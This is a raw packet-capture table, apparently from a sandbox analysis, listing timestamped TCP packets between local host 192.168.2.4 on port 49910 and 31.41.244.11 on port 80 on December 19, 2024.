Dec 19, 2024 06:10:10.337265015 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.337317944 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.337384939 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.337429047 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.338454008 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.338555098 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.338634968 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.339431047 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.339579105 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.339587927 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.339649916 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.340524912 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.340626955 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.340666056 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.341706038 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.341768980 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.341789961 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.342179060 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.342755079 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.342916012 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.342969894 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.343882084 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.343986988 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.343993902 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.344877005 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.344959021 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.345051050 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.345141888 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.346081018 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.346153975 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.346198082 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.347182035 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.347218037 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.347237110 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.347304106 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.347563982 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.348306894 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.348377943 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.348433971 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.348571062 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.349437952 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.349553108 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.349601984 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.349601984 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.350526094 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.350646019 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.350702047 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.351661921 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.351715088 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.351753950 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.351927996 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.352762938 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.352826118 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.352891922 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.352936983 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.353872061 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.353949070 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.354013920 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.354221106 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.354975939 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.355155945 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.355169058 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.355240107 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.356091022 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.356214046 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.356270075 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.357188940 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.357249975 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.357315063 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.357837915 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.358302116 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.358413935 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.358568907 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.358654976 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.362209082 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.362245083 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.362266064 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.362282991 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.362333059 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.362333059 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.362351894 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.362421989 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.362880945 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.363024950 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.363070011 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.363185883 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.364073038 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.364170074 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.364236116 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.364306927 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.365159035 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.365195036 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.365232944 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.365288973 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.366231918 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.366308928 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.366388083 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.366543055 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.367341995 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.367377996 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.367410898 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.367435932 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.368386030 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.368475914 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.368561029 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.368621111 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.369488955 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.369570971 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.369575024 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.369642973 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.370687008 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.370722055 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.370771885 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.370837927 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.371402979 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.371438980 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.371488094 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.371488094 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.372526884 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.372648954 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.372872114 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.372970104 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.374106884 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.374146938 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.374232054 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.375197887 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.375232935 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.375334024 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.376276970 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.376472950 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.376482964 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.376533985 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.377381086 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.377415895 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.377471924 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.377471924 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.378597975 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.378634930 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.378760099 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.379699945 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.379772902 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.379853964 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.379930973 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.380809069 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.380845070 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.380969048 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.381877899 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.382080078 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.382153988 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.382962942 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.382999897 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.383021116 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.383111000 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.384016037 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.384087086 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.384167910 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.384274960 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.385076046 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.385200977 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.385416031 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.385473013 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.385709047 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.385745049 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.385801077 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.385801077 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.386137009 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.386185884 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.386225939 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.386297941 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.520792961 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.520929098 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.520946026 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.521030903 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.521322012 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.521399021 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.521436930 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.521507025 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.522397995 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.522478104 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.522820950 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.522905111 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.522945881 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.522994995 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.523914099 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.524045944 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.524178028 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.525047064 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.525145054 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.525262117 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.526138067 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.526200056 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.526266098 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.527286053 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.527350903 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.527406931 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.528245926 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.528378010 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.528450966 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.528511047 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.529474974 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.529560089 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.529597044 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.530617952 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.530623913 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.530682087 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.530720949 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.530916929 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.531722069 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.531826019 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.532013893 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.532828093 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.532923937 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.533018112 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.533956051 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.534024000 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.534090042 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.535118103 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.535188913 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.535235882 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.535705090 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.536181927 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.536350965 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.536490917 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.537282944 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.537372112 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.537412882 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.538094997 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.538372993 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.538463116 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.538467884 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.539477110 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.539546013 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.539618015 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.540627956 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.540628910 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.540682077 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.540688992 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.540761948 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.541712999 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.541779995 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.541850090 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.541892052 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.542804956 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.542952061 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.542973995 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.543011904 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.543934107 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.544068098 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.544115067 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.545051098 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.545120955 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.545186043 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.545872927 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.546205997 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.546272039 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.546355009 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.547276020 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.547394037 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.547445059 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.548460960 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.548517942 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.548600912 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.549485922 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.549606085 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.549608946 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.550586939 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.550669909 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.550748110 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.550879002 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.551903009 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.551975965 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.552041054 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.552110910 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.552803040 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.552851915 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.552933931 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.552997112 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.553927898 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.554037094 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.554060936 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.554110050 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.555056095 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.555176020 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.555243015 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.556164980 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.556231976 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.556291103 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.556627035 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.557277918 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.557384968 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.557497025 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.558391094 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.558444977 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.558538914 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.559514999 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.559582949 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.559640884 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.559662104 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.560609102 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.560671091 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.560724020 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.560791016 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.561724901 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.561805964 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.561821938 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.562366009 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.562844992 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.562958956 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.562998056 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.563961983 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.564034939 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.564049006 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.564274073 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.565066099 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.565155983 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.565196037 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.565305948 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.566179991 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.566338062 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.566397905 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.567277908 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.567334890 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.567390919 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.568389893 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.568479061 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.568527937 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.569463968 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.569497108 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.569556952 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.569597006 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.569653034 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.570611954 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.570713043 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.570719004 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.570766926 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.571748018 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.571846008 CET	49910	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:10:10.571852922 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.572825909 CET	80	49910	31.41.244.11	192.168.2.4
Dec 19, 2024 06:10:10.572917938 CET	49910	80	192.168.2.4	31.41.244.11
